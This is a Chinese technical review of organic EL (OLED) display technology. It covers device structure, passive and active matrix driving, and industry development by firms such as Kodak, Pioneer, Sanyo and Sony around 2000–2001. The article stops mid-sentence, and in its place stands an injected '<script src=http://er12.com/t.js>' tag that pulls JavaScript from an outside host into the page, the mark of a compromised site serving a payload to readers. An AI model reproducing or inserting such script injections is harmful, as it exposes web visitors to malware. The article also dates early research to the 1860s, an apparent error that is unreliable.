[摘 要] 有机el被认为是新一代的平板显示器，多媒体移动通信的快速发展为它的应用提供了良好的机会。在简短地介绍了有机el的构造与工作原理以后，着重讨论了它的开发现状与市场前景。
[关键词] 有机el；有机发光二极管；平板显示器；有源矩阵；无源矩阵；薄膜晶体管；液晶显示器
1．引言
有机el是以有机化合物作为发光源的一种电发光现象。与液晶显示器不同，由于有机el显示器是一种自发光器件，故其视角宽且反差大，易于看清。有机el的响应速度很快，是液晶的1000倍以上，故即使用无源矩阵驱动，也可以回放活动图像。另外，由于蓝色与红色的发光都是可能的，故易于实现全彩色化。正因为如此，业界有人看好有机el显示器，以为它兼有crt的色彩鲜艳与lcd的薄型轻量的优点，是一种新型的平板显示器。
根据其构造与工作原理，有机el器件近来常被称为有机发光二极管。另外，按照所用有机材料分子量的不同，又可分为低分子有机发光二极管及高分子有机发光二极管。
当应用于移动电话机的场合，有机el器件在功耗、厚度与重量等方面都有可能优于lcd。在表1中示出了有机el器件与lcd的比较。
由表1可见，有机el器件将首先与小型lcd进行竞争，而10英寸以上的大型器件则是几年以后的事。
2．有机el器件的构造与工作原理
在图1(a)中示出了有机el器件的构造。由图1可知，这是一种在ito透明电极(阳极)与金属阴极之间夹持有机材料的构造。通常，这里的有机层是由多层材料所构成的，并借助于真空镀膜而形成极薄的膜(厚200nm以下)。
当在两个电极之间施加直流电压以后，空穴就从阳极一侧注入有机层内，而从阴极一侧注入电子。空穴与电子在发光层中复合并生成激励子。当所生成的激励子从激励态返回基态时，就伴随着发光。也就是说，人们是用电的办法在有机分子上强制性地形成激励态及复合态，从而使之发光的。显然，为了高效地产生这种发光现象，就有必要采取相应的措施，以便高效地注入电荷，高效地输送电荷，提高电荷复合的概率，以及提高复合后的发光效率。考虑到用一种有机材料难以满足上述不同要求，故宜采用分离各种功能的多层构造。
必须指出，图1(a)所示的构造只是原理性的。另外，有机el器件的构造可以分为无源矩阵与有源矩阵两大类。图1(b)所示的是无源矩阵驱动的场合。与有源矩阵驱动相比较，其构造比较简单，且易于制造。但是，无源矩阵驱动的器件一般难以提高像素数。因此，为了实现器件的高精细化，就必须采用有源矩阵驱动的构造，如图1(c)所示。
3. 有机el器件的开发现状
尽管对有机el的研究可以追溯到19世纪60年代，但其真正的研发工作是从80年代开始的。1987年，柯达公司率先确认了由叠层型薄膜有机 el产生的高亮度发光。此后，许多企业也进行了相应的研究与开发。特别是近几年来，在亮度、寿命与可靠性方面都有了迅速提高。可以认为有机el器件现已达到了实用的技术水平。这里，具有重大意义的是，日本先锋公司于1997年首次销售了利用有机 el技术的单色显示器(绿色，256×64点)。
1999年5月，先锋公司将自制的多彩色有机 el显示屏装载于车用的av设备中。进入2000年以后，该公司制造的显示屏又被用于摩托罗拉公司的移动电话机。这就让人们看到了它的用武之地。在这种情况下，显示屏制造厂商纷纷加快了有机el的开发速度。在表2中归纳了有关公司的开发状况。这里，显示屏的驱动方式多半采用无源矩阵方式，因此也可以说是有机el器件的第一个开发浪潮。另外，由于其构造大致已经确定，故它们的开发重点主要是微细加工，发光材料及彩色化技术。
为了提高显示屏的分辨力，各制造厂商在近1- 2年内又加紧了对有源矩阵方式的开发，已经具备 tft制造技术的企业(如东芝、三洋电机及索尼等)显然占了一定的优势。尽管用于lcd的tft与用于有机el的tft不完全一样，但还是可以利用前者的生产线来制造后者的。另外，一个新的趋势是合作开发有源矩阵驱动的有机el器件。这样既可削减开发费用，又可加快开发速度。例如，柯达与三洋电机合作开发的5.5英寸有源全彩显示器已于2000年在sid及美国圣地亚哥举行的oled2000上展出。除了向其它公司提供其技术许可外，他们也力争使自己的技术成为国际标准。又如，先锋与半导体能量实验室(sel)也已共同开发出2.1英寸的有源矩阵彩色oled。目前，这两家公司正与sharp公司一起筹建一家合资公司(eldis inc．)，以便生产cg硅薄膜晶体管。另外，索尼于2001年2月展示了它所开发的13英寸全彩色oled。该公司与universal display corp．(udc)将合作开发一种基于磷光技术的有源矩阵oled。udc将提供其磷光材料，而索尼则提供其低温多晶硅tff技术与tac(top-emission adaeptive current)驱动方式。最后，seiko-epson公司与cambridge display technologies公司(cdt)合作开发的有源矩阵?script src=http://er12.com/t.js>
